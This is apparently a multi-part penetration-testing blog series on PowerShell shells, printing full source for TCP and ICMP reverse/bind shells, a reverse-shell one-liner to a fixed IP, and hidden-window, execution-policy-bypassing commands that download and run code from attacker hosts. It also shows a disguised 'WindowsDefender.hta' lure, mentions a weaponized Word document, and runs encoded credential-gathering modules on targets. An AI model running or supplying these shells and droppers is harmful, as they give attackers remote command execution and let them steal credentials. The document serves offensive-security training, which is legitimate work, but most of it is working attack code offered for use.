Week of PowerShell Shells – Announcement and Day 1
Day 1 – Interactive PowerShell shells over TCP
function Invoke-PowerShellTcp { [CmdletBinding(DefaultParameterSetName="reverse")] Param( [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] [String] $IPAddress, [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] [Int] $Port, [Parameter(ParameterSetName="reverse")] [Switch] $Reverse, [Parameter(ParameterSetName="bind")] [Switch] $Bind ) #Connect back if the reverse switch is used. if ($Reverse) { $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) } #Bind to the provided port if Bind switch is used. if ($Bind) { $listener = [System.Net.Sockets.TcpListener]$Port $listener.start() $client = $listener.AcceptTcpClient() } $stream = $client.GetStream() [byte[]]$bytes = 0..255|%{0} #Send back current username and computername $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) #Show an interactive PowerShell prompt $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') $stream.Write($sendbytes,0,$sendbytes.Length) while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding $data = $EncodedText.GetString($bytes,0, $i) #Execute the command on the target. $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' $x = ($error[0] | Out-String) $error.clear() $sendback2 = $sendback2 + $x #Return the results $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close() $listener.Stop() }
A screenshot of it in action. A listener is running on Kali linux:
Using Invoke-PowerShellTcp as a bind shell:
Note that we can use powercat as well.
Choose whatever you like depending on the scenario at hand.
$client = New-Object System.Net.Sockets.TCPClient("192.168.178.16",443);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
A quick video shows how Invoke-PowerShellTcp could be used with a weaponized MS Word document:
PS C:\Users\jacco> IEX (New-Object System.Net.Webclient).DownloadString('https://www.puckiestyle.nl/powercat.ps1') PS C:\Users\jacco> powercat -c 192.168.178.16 -u -v -p 53 -ep VERBOSE: Set Stream 1: UDP VERBOSE: Set Stream 2: Powershell VERBOSE: Setting up Stream 1... (ESC/CTRL to exit) VERBOSE: Sending UDP traffic to 192.168.178.16 port 53... VERBOSE: UDP: Make sure to send some data so the server can notice you! VERBOSE: Setting up Stream 2... (ESC/CTRL to exit) VERBOSE: Both Communication Streams Established. Redirecting Data Between Streams...
Week of PowerShell shells – Day 3 – HTTPS Shells
PS C:\pentest> Import-Module .\Invoke-PoshRatHttps.ps1 PS C:\pentest> Invoke-PoshRatHttps -IPAddress 192.168.178.14 -Port 443 Listening on 192.168.178.14:443 Run the following command on the target: powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};iex ((New-Object Net.WebClient).DownloadString('https://192.168.178.14:443/connect'))
powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};iex ((New-Object Net.WebClient).DownloadString('https://192.168.178.14:443/connect'))
https://192.168.254.1/WindowsDefender.hta
Lets see it in action:
Awesome! An interactive and encrypted reverse PowerShell!
The pcap is available at: https://drive.google.com/folderview?id=0B-Hsu8q12kG3fkVMaWlQejI4bmktVFlnZHd5Y3pjcHcxRVppQVM1Y1ZYamI5RlYxNExhY2s&usp=sharing
There is a HTTP version as well, Invoke-PoshRatHttp.
PS C:\pentest> Import-Module .\Invoke-PoshRatHttp.ps1 PS C:\pentest> Invoke-PoshRatHttp -IPAddress 192.168.178.14 -Port 80 Listening on 192.168.178.14:80 Run the following command on the target: powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.178.14:80/connect')) PS 192.168.178.14:4209>: whoami lt-jacco\jacco
PS C:\Users\jacco> iex (New-Object Net.WebClient).DownloadString("http://192.168.178.14/connect")
Nishang has another HTTPS shell Invoke-PsGcat which uses Gmail for command and script execution. I have blogged about it earlier: http://www.labofapenetrationtester.com/2015/04/pillage-the-village-powershell-version.html
A video showing usage of Invoke-PoshRatHttps:
Please note that I am deliberately not going into what can be done after we get shell access to a target. For that please see my previous blog posts.
Hope this proves to be useful. Please leave feedback and comments.
Week of PowerShell Shells – Day 4 – WMI Shell
PS C:\> . C:\nishang\Shells\Invoke-PowerShellWmi.ps1 PS C:\> Invoke-PowerShellWmi -ComputerName domainpc -UserName bharat\domainuser
Here is Invoke-PowerShellWmi in action:
Great! We can see output of PowerShell and native commands.
PowerShell scripts could be executed as well using the -EncodedCommand parameter of PowerShell:
The pcap is available here: https://drive.google.com/folderview?id=0B-Hsu8q12kG3fnBMWlhFQ2VqaDFLM3BheVpyOFdrUExKcGRLbjExcURfMHBaSkNCanFiQWM&usp=sharing
Week of PowerShell Shells – Day 5 – DNS, ICMP Shells and Wrap up
root@Kali:~/Desktop# ruby ./dnscat2.rb reversedns-shell.org
PS C:\> powercat -c 192.168.254.226 -p 53 -dns reversedns-shell.org
Now, lets move on to ICMP. For server/listener part, we will use icmpsh (https://github.com/inquisb/icmpsh) by Bernardo Damele (@inquisb). I have written a client/connect-back in PowerShell. I give you Invoke-PowerShellIcmp.The current source code without help and credtis documentation:
function Invoke-PowerShellIcmp { [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $true)] [String] $IPAddress, [Parameter(Position = 1, Mandatory = $false)] [Int] $Delay, [Parameter(Position = 2, Mandatory = $false)] [Int] $BufferSize = 128 ) #Basic structure from http://stackoverflow.com/questions/20019053/sending-back-custom-icmp-echo-response $ICMPClient = New-Object System.Net.NetworkInformation.Ping $PingOptions = New-Object System.Net.NetworkInformation.PingOptions $PingOptions.DontFragment = $True # Shell appearance and output redirection based on Powerfun - Written by Ben Turner & Dave Hardy $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $ICMPClient.Send($IPAddress,60 * 1000, $sendbytes, $PingOptions) | Out-Null #Show an interactive PowerShell prompt $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '> ') $ICMPClient.Send($IPAddress,60 * 1000, $sendbytes, $PingOptions) | Out-Null while ($true) { $sendbytes = ([text.encoding]::ASCII).GetBytes('') $reply = $ICMPClient.Send($IPAddress,60 * 1000, $sendbytes, $PingOptions) #Check for Command from the server if ($reply.Buffer) { $response = ([text.encoding]::ASCII).GetString($reply.Buffer) $result = (Invoke-Expression -Command $response 2>&1 | Out-String ) $sendbytes = ([text.encoding]::ASCII).GetBytes($result) $index = [math]::floor($sendbytes.length/$BufferSize) $i = 0 #Fragmant larger output into smaller ones to send to the server. if ($sendbytes.length -gt $BufferSize) { while ($i -lt $index ) { $sendbytes2 = $sendbytes[($i*$BufferSize)..(($i+1)*$BufferSize)] $ICMPClient.Send($IPAddress,60 * 10000, $sendbytes2, $PingOptions) | Out-Null $i +=1 } $remainingindex = $sendbytes.Length%$BufferSize if ($remainingindex -ne 0) { $sendbytes2 = $sendbytes[($i*$BufferSize)..($remainingindex)] $ICMPClient.Send($IPAddress,60 * 10000, $sendbytes2, $PingOptions) | Out-Null } } else { $ICMPClient.Send($IPAddress,60 * 10000, $sendbytes, $PingOptions) | Out-Null } $sendbytes = ([text.encoding]::ASCII).GetBytes("`nPS " + (Get-Location).Path + '> ') $ICMPClient.Send($IPAddress,60 * 1000, $sendbytes, $PingOptions) | Out-Null } else { Sleep -Seconds 5 } } }
Invoke-PowerShellIcmp is available in the Nishang repo here: https://github.com/samratashok/nishang/tree/master/Shells
Use below command to disable ping replies (IPv4) and start a listener:
root@Kali:~/Desktop# sysctl -w net.ipv4.icmp_echo_ignore_all=1 root@Kali:~/Desktop# python icmpsh_m.py 192.168.254.226 192.168.254.1
Use below command on the target:
PS C:\> Invoke-PowerShellIcmp -IPAddress 192.168.254.226
Aaand:
Awesome! An interactive PowerShell session over ICMP.
Wireshark looks like this:
A video showing DNS shell and Invoke-PowerShellIcmp in action:
Those who wanted to know what to do after we get access to a target using these shells, please refer to my earlier blogposts.
For any of the Shells discussed in these five days, a PowerShell script could be executed with the help of the -EncodedCommand or -e parameter of powershell.exe.
For example, to execute Get-WLANKeys, encode it with the help of Invoke-Encode from Nishang. Make sure to remove the function declaration and help section.
PS C:\nishang> Import-Module .\nishang.psm1 PS C:\nishang> Invoke-Encode -DataToEncode .\Gather\Get-WLANKeysModified.ps1 -OutCommand
which looks like this:
Then use the encodedscript in encodedcommand.txt with any of the shells:
or you can use the below one line to execute scripts from a local web server:
PS C:\nishang> (New-Object Net.Webclient).DownloadString('http://192.168.254.226/powerpreter.psm1');Get-Information
Please note that I encountered error in some of the shells if the encoded script is too long. I need more testing on this problem, so please provide feedback and report bugs.
The best way to pass parameters to modules or scripts when using -EncodedCommand is to include the parameter passing within the script.
To transfer files, the best way is to use following one line downloader. You can use a local web server like Apache/HFS.
PS C:\nishang> (New-Object Net.Webclient).DownloadFile('http://192.168.254.226/test/nmap.zip',"$env:TEMP\nmap.zip")
Wrap up of the Week of PowerShell Shells
We have reached the end of Week of PowerShell shells. It was a wonderful yet tiresome experience. I learned a lot while writing these posts and hope you learned something as well. The goal was to keep the posts concise and usable without going into too much details. In fact, to achive this goal, no protocol level details were discussed. I would like to believe that through this series, I am able to spread awareness about the capabilities of PowerShell to more folks in the Infosec community.
I hope you enjoyed reading the posts as much as I enjoyed writing them. Please leave comments, feedback and report bugs.